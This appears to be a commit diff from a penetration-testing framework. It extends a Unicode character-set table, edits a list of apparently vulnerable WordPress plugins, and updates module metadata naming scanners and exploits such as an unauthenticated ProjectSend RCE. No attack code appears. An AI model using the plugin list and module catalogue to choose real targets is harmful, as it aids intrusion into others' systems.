while (c <= 0x10d65) // ..to GARAY CAPITAL LETTER OLD NA
charset[i++] = c++;
c = 0x10d69; // from GARAY VOWEL SIGN E
while (c <= 0x10d85) // ..to GARAY SMALL LETTER OLD NA
charset[i++] = c++;
charset[i++] = 0x10d8e; // GARAY PLUS SIGN
charset[i++] = 0x10d8f; // GARAY MINUS SIGN
// 10E60..10E7F; Rumi Numeral Symbols
c = 0x10e60; // from RUMI DIGIT ONE
while (c <= 0x10e7e) // ..to RUMI FRACTION TWO THIRDS
@@ -1618,6 +1655,12 @@ void init()
charset[i++] = 0x10ead; // YEZIDI HYPHENATION MARK
charset[i++] = 0x10eb0; // YEZIDI LETTER LAM WITH DOT ABOVE
charset[i++] = 0x10eb1; // YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
// 10EC0..10EFF; Arabic Extended-C
charset[i++] = 0x10ec2; // ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW
charset[i++] = 0x10ec4; // ARABIC LETTER KAF WITH TWO DOTS VERTICALLY BELOW
c = 0x10efc; // from ARABIC COMBINING ALEF OVERLAY
while (c <= 0x10eff) // ..to ARABIC SMALL LOW WORD MADDA
charset[i++] = c++;
// 10F00..10F2F; Old Sogdian
c = 0x10f00; // from OLD SOGDIAN LETTER ALEPH
while (c <= 0x10f27) // ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1626,6 +1669,10 @@ void init()
c = 0x10f30; // from SOGDIAN LETTER ALEPH
while (c <= 0x10f59) // ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
charset[i++] = c++;
// 10F70..10FAF; Old Uyghur
c = 0x10f70; // from OLD UYGHUR LETTER ALEPH
while (c <= 0x10f89) // ..to OLD UYGHUR PUNCTUATION FOUR DOTS
charset[i++] = c++;
// 10FB0..10FDF; Chorasmian
c = 0x10fb0; // from CHORASMIAN LETTER ALEPH
while (c <= 0x10fcb) // ..to CHORASMIAN NUMBER ONE HUNDRED
@@ -1639,12 +1686,12 @@ void init()
while (c <= 0x1104d) // ..to BRAHMI PUNCTUATION LOTUS
charset[i++] = c++;
c = 0x11052; // from BRAHMI NUMBER ONE
while (c <= 0x1106f) // ..to BRAHMI DIGIT NINE
while (c <= 0x11075) // ..to BRAHMI LETTER OLD TAMIL LLA
charset[i++] = c++;
charset[i++] = 0x1107f; // BRAHMI NUMBER JOINER
// 11080..110CF; Kaithi
c = 0x11080; // from KAITHI SIGN CANDRABINDU
while (c <= 0x110c1) // ..to KAITHI DOUBLE DANDA
while (c <= 0x110c2) // ..to KAITHI VOWEL SIGN VOCALIC R
charset[i++] = c++;
charset[i++] = 0x110cd; // KAITHI NUMBER SIGN ABOVE
// 110D0..110FF; Sora Sompeng
@@ -1678,7 +1725,7 @@ void init()
while (c <= 0x11211) // ..to KHOJKI LETTER JJA
charset[i++] = c++;
c = 0x11213; // from KHOJKI LETTER NYA
while (c <= 0x1123e) // ..to KHOJKI SIGN SUKUN
while (c <= 0x11241) // ..to KHOJKI VOWEL SIGN VOCALIC R
charset[i++] = c++;
// 11280..112AF; Multani
c = 0x11280; // from MULTANI LETTER A
@@ -1736,6 +1783,26 @@ void init()
c = 0x11370; // from COMBINING GRANTHA LETTER A
while (c <= 0x11374) // ..to COMBINING GRANTHA LETTER PA
charset[i++] = c++;
// 11380..113FF; Tulu-Tigalari
c = 0x11380; // from TULU-TIGALARI LETTER A
while (c <= 0x11389) // ..to TULU-TIGALARI LETTER VOCALIC LL
charset[i++] = c++;
c = 0x11390; // from TULU-TIGALARI LETTER OO
while (c <= 0x113b5) // ..to TULU-TIGALARI LETTER LLLA
charset[i++] = c++;
c = 0x113b7; // from TULU-TIGALARI SIGN AVAGRAHA
while (c <= 0x113c0) // ..to TULU-TIGALARI VOWEL SIGN VOCALIC LL
charset[i++] = c++;
c = 0x113c7; // from TULU-TIGALARI VOWEL SIGN OO
while (c <= 0x113ca) // ..to TULU-TIGALARI SIGN CANDRA ANUNASIKA
charset[i++] = c++;
c = 0x113cc; // from TULU-TIGALARI SIGN ANUSVARA
while (c <= 0x113d5) // ..to TULU-TIGALARI DOUBLE DANDA
charset[i++] = c++;
charset[i++] = 0x113d7; // TULU-TIGALARI SIGN OM PUSHPIKA
charset[i++] = 0x113d8; // TULU-TIGALARI SIGN SHRII PUSHPIKA
charset[i++] = 0x113e1; // TULU-TIGALARI VEDIC TONE SVARITA
charset[i++] = 0x113e2; // TULU-TIGALARI VEDIC TONE ANUDATTA
// 11400..1147F; Newa
c = 0x11400; // from NEWA LETTER A
while (c <= 0x1145b) // ..to NEWA PLACEHOLDER MARK
@@ -1770,12 +1837,16 @@ void init()
charset[i++] = c++;
// 11680..116CF; Takri
c = 0x11680; // from TAKRI LETTER A
while (c <= 0x116b8) // ..to TAKRI LETTER ARCHAIC KHA
while (c <= 0x116b9) // ..to TAKRI ABBREVIATION SIGN
charset[i++] = c++;
c = 0x116c0; // from TAKRI DIGIT ZERO
while (c <= 0x116c9) // ..to TAKRI DIGIT NINE
charset[i++] = c++;
// 11700..1173F; Ahom
// 116D0..116FF; Myanmar Extended-C
c = 0x116d0; // from MYANMAR PAO DIGIT ZERO
while (c <= 0x116e3) // ..to MYANMAR EASTERN PWO KAREN DIGIT NINE
charset[i++] = c++;
// 11700..1174F; Ahom
c = 0x11700; // from AHOM LETTER KA
while (c <= 0x1171a) // ..to AHOM LETTER ALTERNATE BA
charset[i++] = c++;
@@ -1783,7 +1854,7 @@ void init()
while (c <= 0x1172b) // ..to AHOM SIGN KILLER
charset[i++] = c++;
c = 0x11730; // from AHOM DIGIT ZERO
while (c <= 0x1173f) // ..to AHOM SYMBOL VI
while (c <= 0x11746) // ..to AHOM LETTER LLA
charset[i++] = c++;
// 11800..1184F; Dogra
c = 0x11800; // from DOGRA LETTER A
@@ -1832,10 +1903,25 @@ void init()
c = 0x11a50; // from SOYOMBO LETTER A
while (c <= 0x11aa2) // ..to SOYOMBO TERMINAL MARK-2
charset[i++] = c++;
// 11AB0..11ABF; Unified Canadian Aboriginal Syllabics Extended-A
c = 0x11ab0; // from CANADIAN SYLLABICS NATTILIK HI
while (c <= 0x11abf) // ..to CANADIAN SYLLABICS SPA
charset[i++] = c++;
// 11AC0..11AFF; Pau Cin Hau
c = 0x11ac0; // from PAU CIN HAU LETTER PA
while (c <= 0x11af8) // ..to PAU CIN HAU GLOTTAL STOP FINAL
charset[i++] = c++;
// 11B00..11B5F; Devanagari Extended-A
c = 0x11b00; // from DEVANAGARI HEAD MARK
while (c <= 0x11b09) // ..to DEVANAGARI SIGN MINDU
charset[i++] = c++;
// 11BC0..11BFF; Sunuwar
c = 0x11bc0; // from SUNUWAR LETTER DEVI
while (c <= 0x11be1) // ..to SUNUWAR SIGN PVO
charset[i++] = c++;
c = 0x11bf0; // from SUNUWAR DIGIT ZERO
while (c <= 0x11bf9) // ..to SUNUWAR DIGIT NINE
charset[i++] = c++;
// 11C00..11C6F; Bhaiksuki
c = 0x11c00; // from BHAIKSUKI LETTER A
while (c <= 0x11c08) // ..to BHAIKSUKI LETTER VOCALIC L
@@ -1897,6 +1983,16 @@ void init()
c = 0x11ee0; // from MAKASAR LETTER KA
while (c <= 0x11ef8) // ..to MAKASAR END OF SECTION
charset[i++] = c++;
// 11F00..11F5F; Kawi
c = 0x11f00; // from KAWI SIGN CANDRABINDU
while (c <= 0x11f10) // ..to KAWI LETTER O
charset[i++] = c++;
c = 0x11f12; // from KAWI LETTER KA
while (c <= 0x11f3a) // ..to KAWI VOWEL SIGN VOCALIC R
charset[i++] = c++;
c = 0x11f3e; // from KAWI VOWEL SIGN E
while (c <= 0x11f5a) // ..to KAWI SIGN NUKTA
charset[i++] = c++;
// 11FB0..11FBF; Lisu Supplement
charset[i++] = 0x11fb0; // LISU LETTER YHA
// 11FC0..11FFF; Tamil Supplement
@@ -1919,18 +2015,30 @@ void init()
c = 0x12480; // from CUNEIFORM SIGN AB TIMES NUN TENU
while (c <= 0x12543) // ..to CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
charset[i++] = c++;
// 12F90..12FFF; Cypro-Minoan
c = 0x12f90; // from CYPRO-MINOAN SIGN CM001
while (c <= 0x12ff2) // ..to CYPRO-MINOAN SIGN CM302
charset[i++] = c++;
// 13000..1342F; Egyptian Hieroglyphs
c = 0x13000; // from EGYPTIAN HIEROGLYPH A001
while (c <= 0x1342e) // ..to EGYPTIAN HIEROGLYPH AA032
while (c <= 0x1342f) // ..to EGYPTIAN HIEROGLYPH V011D
charset[i++] = c++;
// 13430..1343F; Egyptian Hieroglyph Format Controls
// 13430..1345F; Egyptian Hieroglyph Format Controls
c = 0x13430; // from EGYPTIAN HIEROGLYPH VERTICAL JOINER
while (c <= 0x13438) // ..to EGYPTIAN HIEROGLYPH END SEGMENT
while (c <= 0x13455) // ..to EGYPTIAN HIEROGLYPH MODIFIER DAMAGED
charset[i++] = c++;
// 13460..143FF; Egyptian Hieroglyphs Extended-A
c = 0x13460; // from EGYPTIAN HIEROGLYPH-13460
while (c <= 0x143fa) // ..to EGYPTIAN HIEROGLYPH-143FA
charset[i++] = c++;
// 14400..1467F; Anatolian Hieroglyphs
c = 0x14400; // from ANATOLIAN HIEROGLYPH A001
while (c <= 0x14646) // ..to ANATOLIAN HIEROGLYPH A530
charset[i++] = c++;
// 16100..1613F; Gurung Khema
c = 0x16100; // from GURUNG KHEMA LETTER A
while (c <= 0x16139) // ..to GURUNG KHEMA DIGIT NINE
charset[i++] = c++;
// 16800..16A3F; Bamum Supplement
c = 0x16800; // from BAMUM LETTER PHASE-A NGKUE MFON
while (c <= 0x16a38) // ..to BAMUM LETTER PHASE-F VUEQ
@@ -1944,6 +2052,13 @@ void init()
charset[i++] = c++;
charset[i++] = 0x16a6e; // MRO DANDA
charset[i++] = 0x16a6f; // MRO DOUBLE DANDA
// 16A70..16ACF; Tangsa
c = 0x16a70; // from TANGSA LETTER OZ
while (c <= 0x16abe) // ..to TANGSA LETTER ZA
charset[i++] = c++;
c = 0x16ac0; // from TANGSA DIGIT ZERO
while (c <= 0x16ac9) // ..to TANGSA DIGIT NINE
charset[i++] = c++;
// 16AD0..16AFF; Bassa Vah
c = 0x16ad0; // from BASSA VAH LETTER ENNI
while (c <= 0x16aed) // ..to BASSA VAH LETTER I
@@ -1967,6 +2082,10 @@ void init()
c = 0x16b7d; // from PAHAWH HMONG CLAN SIGN TSHEEJ
while (c <= 0x16b8f) // ..to PAHAWH HMONG CLAN SIGN VWJ
charset[i++] = c++;
// 16D40..16D7F; Kirat Rai
c = 0x16d40; // from KIRAT RAI SIGN ANUSVARA
while (c <= 0x16d79) // ..to KIRAT RAI DIGIT NINE
charset[i++] = c++;
// 16E40..16E9F; Medefaidrin
c = 0x16e40; // from MEDEFAIDRIN CAPITAL LETTER M
while (c <= 0x16e9a) // ..to MEDEFAIDRIN EXCLAMATION OH
@@ -1999,17 +2118,27 @@ void init()
c = 0x18b00; // from KHITAN SMALL SCRIPT CHARACTER-18B00
while (c <= 0x18cd5) // ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
charset[i++] = c++;
// 18D00..18D8F; Tangut Supplement
charset[i++] = 0x18cff; // KHITAN SMALL SCRIPT CHARACTER-18CFF
// 18D00..18D7F; Tangut Supplement
c = 0x18d00; // from <Tangut Ideograph Supplement, First>
while (c <= 0x18d08) // ..to <Tangut Ideograph Supplement, Last>
charset[i++] = c++;
// 1AFF0..1AFFF; Kana Extended-B
c = 0x1aff0; // from KATAKANA LETTER MINNAN TONE-2
while (c <= 0x1aff3) // ..to KATAKANA LETTER MINNAN TONE-5
charset[i++] = c++;
c = 0x1aff5; // from KATAKANA LETTER MINNAN TONE-7
while (c <= 0x1affb) // ..to KATAKANA LETTER MINNAN NASALIZED TONE-5
charset[i++] = c++;
charset[i++] = 0x1affd; // KATAKANA LETTER MINNAN NASALIZED TONE-7
charset[i++] = 0x1affe; // KATAKANA LETTER MINNAN NASALIZED TONE-8
// 1B000..1B0FF; Kana Supplement
c = 0x1b000; // from KATAKANA LETTER ARCHAIC E
while (c <= 0x1b0ff) // ..to HENTAIGANA LETTER RE-2
charset[i++] = c++;
// 1B100..1B12F; Kana Extended-A
c = 0x1b100; // from HENTAIGANA LETTER RE-3
while (c <= 0x1b11e) // ..to HENTAIGANA LETTER N-MU-MO-2
while (c <= 0x1b122) // ..to KATAKANA LETTER ARCHAIC WU
charset[i++] = c++;
// 1B130..1B16F; Small Kana Extension
charset[i++] = 0x1b150; // HIRAGANA LETTER SMALL WI
@@ -2041,6 +2170,23 @@ void init()
c = 0x1bca0; // from SHORTHAND FORMAT LETTER OVERLAP
while (c <= 0x1bca3) // ..to SHORTHAND FORMAT UP STEP
charset[i++] = c++;
// 1CC00..1CEBF; Symbols for Legacy Computing Supplement
c = 0x1cc00; // from UP-POINTING GO-KART
while (c <= 0x1ccf9) // ..to OUTLINED DIGIT NINE
charset[i++] = c++;
c = 0x1cd00; // from BLOCK OCTANT-3
while (c <= 0x1ceb3) // ..to BLACK RIGHT TRIANGLE CARET
charset[i++] = c++;
// 1CF00..1CFCF; Znamenny Musical Notation
c = 0x1cf00; // from ZNAMENNY COMBINING MARK GORAZDO NIZKO S KRYZHEM ON LEFT
while (c <= 0x1cf2d) // ..to ZNAMENNY COMBINING MARK KRYZH ON LEFT
charset[i++] = c++;
c = 0x1cf30; // from ZNAMENNY COMBINING TONAL RANGE MARK MRACHNO
while (c <= 0x1cf46) // ..to ZNAMENNY PRIZNAK MODIFIER ROG
charset[i++] = c++;
c = 0x1cf50; // from ZNAMENNY NEUME KRYUK
while (c <= 0x1cfc3) // ..to ZNAMENNY NEUME PAUK
charset[i++] = c++;
// 1D000..1D0FF; Byzantine Musical Symbols
c = 0x1d000; // from BYZANTINE MUSICAL SYMBOL PSILI
while (c <= 0x1d0f5) // ..to BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
@@ -2050,12 +2196,16 @@ void init()
while (c <= 0x1d126) // ..to MUSICAL SYMBOL DRUM CLEF-2
charset[i++] = c++;
c = 0x1d129; // from MUSICAL SYMBOL MULTIPLE MEASURE REST
while (c <= 0x1d1e8) // ..to MUSICAL SYMBOL KIEVAN FLAT SIGN
while (c <= 0x1d1ea) // ..to MUSICAL SYMBOL KORON
charset[i++] = c++;
// 1D200..1D24F; Ancient Greek Musical Notation
c = 0x1d200; // from GREEK VOCAL NOTATION SYMBOL-1
while (c <= 0x1d245) // ..to GREEK MUSICAL LEIMMA
charset[i++] = c++;
// 1D2C0..1D2DF; Kaktovik Numerals
c = 0x1d2c0; // from KAKTOVIK NUMERAL ZERO
while (c <= 0x1d2d3) // ..to KAKTOVIK NUMERAL NINETEEN
charset[i++] = c++;
// 1D2E0..1D2FF; Mayan Numerals
c = 0x1d2e0; // from MAYAN NUMERAL ZERO
while (c <= 0x1d2f3) // ..to MAYAN NUMERAL NINETEEN
@@ -2131,6 +2281,13 @@ void init()
c = 0x1daa1; // from SIGNWRITING ROTATION MODIFIER-2
while (c <= 0x1daaf) // ..to SIGNWRITING ROTATION MODIFIER-16
charset[i++] = c++;
// 1DF00..1DFFF; Latin Extended-G
c = 0x1df00; // from LATIN SMALL LETTER FENG DIGRAPH WITH TRILL
while (c <= 0x1df1e) // ..to LATIN SMALL LETTER S WITH CURL
charset[i++] = c++;
c = 0x1df25; // from LATIN SMALL LETTER D WITH MID-HEIGHT LEFT HOOK
while (c <= 0x1df2a) // ..to LATIN SMALL LETTER T WITH MID-HEIGHT LEFT HOOK
charset[i++] = c++;
// 1E000..1E02F; Glagolitic Supplement
c = 0x1e000; // from COMBINING GLAGOLITIC LETTER AZU
while (c <= 0x1e006) // ..to COMBINING GLAGOLITIC LETTER ZHIVETE
@@ -2146,6 +2303,11 @@ void init()
c = 0x1e026; // from COMBINING GLAGOLITIC LETTER YO
while (c <= 0x1e02a) // ..to COMBINING GLAGOLITIC LETTER FITA
charset[i++] = c++;
// 1E030..1E08F; Cyrillic Extended-D
c = 0x1e030; // from MODIFIER LETTER CYRILLIC SMALL A
while (c <= 0x1e06d) // ..to MODIFIER LETTER CYRILLIC SMALL STRAIGHT U WITH STROKE
charset[i++] = c++;
charset[i++] = 0x1e08f; // COMBINING CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
// 1E100..1E14F; Nyiakeng Puachue Hmong
c = 0x1e100; // from NYIAKENG PUACHUE HMONG LETTER MA
while (c <= 0x1e12c) // ..to NYIAKENG PUACHUE HMONG LETTER W
@@ -2158,11 +2320,36 @@ void init()
charset[i++] = c++;
charset[i++] = 0x1e14e; // NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
charset[i++] = 0x1e14f; // NYIAKENG PUACHUE HMONG CIRCLED CA
// 1E290..1E2BF; Toto
c = 0x1e290; // from TOTO LETTER PA
while (c <= 0x1e2ae) // ..to TOTO SIGN RISING TONE
charset[i++] = c++;
// 1E2C0..1E2FF; Wancho
c = 0x1e2c0; // from WANCHO LETTER AA
while (c <= 0x1e2f9) // ..to WANCHO DIGIT NINE
charset[i++] = c++;
charset[i++] = 0x1e2ff; // WANCHO NGUN SIGN
// 1E4D0..1E4FF; Nag Mundari
c = 0x1e4d0; // from NAG MUNDARI LETTER O
while (c <= 0x1e4f9) // ..to NAG MUNDARI DIGIT NINE
charset[i++] = c++;
// 1E5D0..1E5FF; Ol Onal
c = 0x1e5d0; // from OL ONAL LETTER O
while (c <= 0x1e5fa) // ..to OL ONAL DIGIT NINE
charset[i++] = c++;
charset[i++] = 0x1e5ff; // OL ONAL ABBREVIATION SIGN
// 1E7E0..1E7FF; Ethiopic Extended-B
c = 0x1e7e0; // from ETHIOPIC SYLLABLE HHYA
while (c <= 0x1e7e6) // ..to ETHIOPIC SYLLABLE HHYO
charset[i++] = c++;
c = 0x1e7e8; // from ETHIOPIC SYLLABLE GURAGE HHWA
while (c <= 0x1e7eb) // ..to ETHIOPIC SYLLABLE HHWE
charset[i++] = c++;
charset[i++] = 0x1e7ed; // ETHIOPIC SYLLABLE GURAGE MWI
charset[i++] = 0x1e7ee; // ETHIOPIC SYLLABLE GURAGE MWEE
c = 0x1e7f0; // from ETHIOPIC SYLLABLE GURAGE QWI
while (c <= 0x1e7fe) // ..to ETHIOPIC SYLLABLE GURAGE PWEE
charset[i++] = c++;
// 1E800..1E8DF; Mende Kikakui
c = 0x1e800; // from MENDE KIKAKUI SYLLABLE M001 KI
while (c <= 0x1e8c4) // ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2294,7 +2481,7 @@ void init()
c = 0x1f680; // from ROCKET
while (c <= 0x1f6d7) // ..to ELEVATOR
charset[i++] = c++;
c = 0x1f6e0; // from HAMMER AND WRENCH
c = 0x1f6dc; // from WIRELESS
while (c <= 0x1f6ec) // ..to AIRPLANE ARRIVING
charset[i++] = c++;
c = 0x1f6f0; // from SATELLITE
@@ -2302,15 +2489,19 @@ void init()
charset[i++] = c++;
// 1F700..1F77F; Alchemical Symbols
c = 0x1f700; // from ALCHEMICAL SYMBOL FOR QUINTESSENCE
while (c <= 0x1f773) // ..to ALCHEMICAL SYMBOL FOR HALF OUNCE
while (c <= 0x1f776) // ..to LUNAR ECLIPSE
charset[i++] = c++;
c = 0x1f77b; // from HAUMEA
while (c <= 0x1f77f) // ..to ORCUS
charset[i++] = c++;
// 1F780..1F7FF; Geometric Shapes Extended
c = 0x1f780; // from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
while (c <= 0x1f7d8) // ..to NEGATIVE CIRCLED SQUARE
while (c <= 0x1f7d9) // ..to NINE POINTED WHITE STAR
charset[i++] = c++;
c = 0x1f7e0; // from LARGE ORANGE CIRCLE
while (c <= 0x1f7eb) // ..to LARGE BROWN SQUARE
charset[i++] = c++;
charset[i++] = 0x1f7f0; // HEAVY EQUALS SIGN
// 1F800..1F8FF; Supplemental Arrows-C
c = 0x1f800; // from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
while (c <= 0x1f80b) // ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2327,16 +2518,13 @@ void init()
c = 0x1f890; // from LEFTWARDS TRIANGLE ARROWHEAD
while (c <= 0x1f8ad) // ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
charset[i++] = c++;
charset[i++] = 0x1f8b0; // ARROW POINTING UPWARDS THEN NORTH WEST
charset[i++] = 0x1f8b1; // ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
c = 0x1f8b0; // from ARROW POINTING UPWARDS THEN NORTH WEST
while (c <= 0x1f8bb) // ..to SOUTH WEST ARROW FROM BAR
charset[i++] = c++;
charset[i++] = 0x1f8c0; // LEFTWARDS ARROW FROM DOWNWARDS ARROW
charset[i++] = 0x1f8c1; // RIGHTWARDS ARROW FROM DOWNWARDS ARROW
// 1F900..1F9FF; Supplemental Symbols and Pictographs
c = 0x1f900; // from CIRCLED CROSS FORMEE WITH FOUR DOTS
while (c <= 0x1f978) // ..to DISGUISED FACE
charset[i++] = c++;
c = 0x1f97a; // from FACE WITH PLEADING EYES
while (c <= 0x1f9cb) // ..to BUBBLE TEA
charset[i++] = c++;
c = 0x1f9cd; // from STANDING PERSON
while (c <= 0x1f9ff) // ..to NAZAR AMULET
charset[i++] = c++;
// 1FA00..1FA6F; Chess Symbols
@@ -2348,41 +2536,37 @@ void init()
charset[i++] = c++;
// 1FA70..1FAFF; Symbols and Pictographs Extended-A
c = 0x1fa70; // from BALLET SHOES
while (c <= 0x1fa74) // ..to THONG SANDAL
while (c <= 0x1fa7c) // ..to CRUTCH
charset[i++] = c++;
charset[i++] = 0x1fa78; // DROP OF BLOOD
charset[i++] = 0x1fa7a; // STETHOSCOPE
c = 0x1fa80; // from YO-YO
while (c <= 0x1fa86) // ..to NESTING DOLLS
while (c <= 0x1fa89) // ..to HARP
charset[i++] = c++;
c = 0x1fa90; // from RINGED PLANET
while (c <= 0x1faa8) // ..to ROCK
c = 0x1fa8f; // from SHOVEL
while (c <= 0x1fac6) // ..to FINGERPRINT
charset[i++] = c++;
c = 0x1fab0; // from FLY
while (c <= 0x1fab6) // ..to FEATHER
c = 0x1face; // from MOOSE
while (c <= 0x1fadc) // ..to ROOT VEGETABLE
charset[i++] = c++;
charset[i++] = 0x1fac0; // ANATOMICAL HEART
charset[i++] = 0x1fac2; // PEOPLE HUGGING
c = 0x1fad0; // from BLUEBERRIES
while (c <= 0x1fad6) // ..to TEAPOT
c = 0x1fadf; // from SPLATTER
while (c <= 0x1fae9) // ..to FACE WITH BAGS UNDER EYES
charset[i++] = c++;
c = 0x1faf0; // from HAND WITH INDEX FINGER AND THUMB CROSSED
while (c <= 0x1faf8) // ..to RIGHTWARDS PUSHING HAND
charset[i++] = c++;
// 1FB00..1FBFF; Symbols for Legacy Computing
c = 0x1fb00; // from BLOCK SEXTANT-1
while (c <= 0x1fb92) // ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
charset[i++] = c++;
c = 0x1fb94; // from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
while (c <= 0x1fbca) // ..to WHITE UP-POINTING CHEVRON
charset[i++] = c++;
c = 0x1fbf0; // from SEGMENTED DIGIT ZERO
while (c <= 0x1fbf9) // ..to SEGMENTED DIGIT NINE
charset[i++] = c++;
// 20000..2A6DF; CJK Unified Ideographs Extension B
c = 0x20000; // from <CJK Ideograph Extension B, First>
while (c <= 0x2a6dd) // ..to <CJK Ideograph Extension B, Last>
while (c <= 0x2a6df) // ..to <CJK Ideograph Extension B, Last>
charset[i++] = c++;
// 2A700..2B73F; CJK Unified Ideographs Extension C
c = 0x2a700; // from <CJK Ideograph Extension C, First>
while (c <= 0x2b734) // ..to <CJK Ideograph Extension C, Last>
while (c <= 0x2b739) // ..to <CJK Ideograph Extension C, Last>
charset[i++] = c++;
// 2B740..2B81F; CJK Unified Ideographs Extension D
c = 0x2b740; // from <CJK Ideograph Extension D, First>
@@ -2396,6 +2580,10 @@ void init()
c = 0x2ceb0; // from <CJK Ideograph Extension F, First>
while (c <= 0x2ebe0) // ..to <CJK Ideograph Extension F, Last>
charset[i++] = c++;
// 2EBF0..2EE5F; CJK Unified Ideographs Extension I
c = 0x2ebf0; // from <CJK Ideograph Extension I, First>
while (c <= 0x2ee5d) // ..to <CJK Ideograph Extension I, Last>
charset[i++] = c++;
// 2F800..2FA1F; CJK Compatibility Ideographs Supplement
c = 0x2f800; // from CJK COMPATIBILITY IDEOGRAPH-2F800
while (c <= 0x2fa1d) // ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
@@ -2404,6 +2592,10 @@ void init()
c = 0x30000; // from <CJK Ideograph Extension G, First>
while (c <= 0x3134a) // ..to <CJK Ideograph Extension G, Last>
charset[i++] = c++;
// 31350..323AF; CJK Unified Ideographs Extension H
c = 0x31350; // from <CJK Ideograph Extension H, First>
while (c <= 0x323af) // ..to <CJK Ideograph Extension H, Last>
charset[i++] = c++;
// E0000..E007F; Tags
c = 0xe0020; // from TAG SPACE
while (c <= 0xe007f) // ..to CANCEL TAG
Binary file not shown.
File diff suppressed because one or more lines are too long
+6 -9
View File
@@ -10,7 +10,6 @@ bulletproof-security
catch-themes-demo-import
chopslider
custom-registration-form-builder-with-submission-manager
depicter
download-manager
drag-and-drop-multiple-file-upload-contact-form-7
dukapress
@@ -30,6 +29,7 @@ learnpress
loginizer
masterstudy-lms-learning-management-system
modern-events-calendar-lite
modern-events-calendar-lite
nextgen-gallery
ninja-forms
paid-memberships-pro
@@ -48,11 +48,7 @@ simple-file-list
slideshow-gallery
sp-client-document-manager
subscribe-to-comments
suretriggers
tatsu
ultimate-member
user-registration
user-registration-pro
website-contact-form-with-file-upload
woocommerce-abandoned-cart
woocommerce-payments
@@ -60,17 +56,18 @@ wordpress-mobile-pack
wordpress-popular-posts
work-the-flow-file-upload
wp-automatic
wpdiscuz
wp-easycart
wp-fastest-cache
wp-file-manager
wp-gdpr-compliance
wp-mobile-detector
wp-mobile-edition
wps-hide-login
wpshop
wp-symposium
wp-symposium
wp-time-capsule
wptouch
wp-ultimate-csv-importer
wpdiscuz
wps-hide-login
wpshop
wptouch
wysija-newsletters
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+67 -130
View File
@@ -31138,7 +31138,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2026-05-07 11:29:41 +0000",
"mod_time": "2025-06-20 13:20:44 +0000",
"path": "/modules/auxiliary/scanner/dns/dns_amp.rb",
"is_install_path": true,
"ref_name": "scanner/dns/dns_amp",
@@ -31334,6 +31334,43 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/anonymous": {
"name": "Anonymous FTP Access Detection",
"fullname": "auxiliary/scanner/ftp/anonymous",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Matteo Cantoni <goony@nothink.org>"
],
"description": "Detect anonymous (read/write) FTP server access.",
"references": [
"URL-https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
21,
2121
],
"autofilter_services": [
"ftp"
],
"targets": null,
"mod_time": "2026-03-11 13:47:18 +0000",
"path": "/modules/auxiliary/scanner/ftp/anonymous.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/anonymous",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/bison_ftp_traversal": {
"name": "BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure",
"fullname": "auxiliary/scanner/ftp/bison_ftp_traversal",
@@ -31482,55 +31519,6 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/ftp_anonymous": {
"name": "Anonymous FTP Access Detection",
"fullname": "auxiliary/scanner/ftp/ftp_anonymous",
"aliases": [
"auxiliary/scanner/ftp/anonymous"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Matteo Cantoni <goony@nothink.org>",
"g0tmi1k"
],
"description": "Detect anonymous (read/write) FTP service access.",
"references": [
"URL-https://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP",
"CVE-1999-0497"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
21,
2121
],
"autofilter_services": [
"ftp"
],
"targets": null,
"mod_time": "2026-05-06 14:46:53 +0000",
"path": "/modules/auxiliary/scanner/ftp/ftp_anonymous.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/ftp_anonymous",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": []
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_scanner/ftp/ftp_login": {
"name": "FTP Authentication Scanner",
"fullname": "auxiliary/scanner/ftp/ftp_login",
@@ -45200,7 +45188,7 @@
"https"
],
"targets": null,
"mod_time": "2026-04-30 16:35:21 +0000",
"mod_time": "2025-06-23 09:30:35 +0000",
"path": "/modules/auxiliary/scanner/http/trace.rb",
"is_install_path": true,
"ref_name": "scanner/http/trace",
@@ -84795,7 +84783,7 @@
"targets": [
"PHP Command"
],
"mod_time": "2026-05-06 11:58:50 +0000",
"mod_time": "2026-04-22 11:55:15 +0000",
"path": "/modules/exploits/linux/http/projectsend_unauth_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/projectsend_unauth_rce",
@@ -92290,7 +92278,7 @@
"targets": [
"Linux Command"
],
"mod_time": "2026-04-30 19:54:25 +0000",
"mod_time": "2026-04-30 17:51:30 +0000",
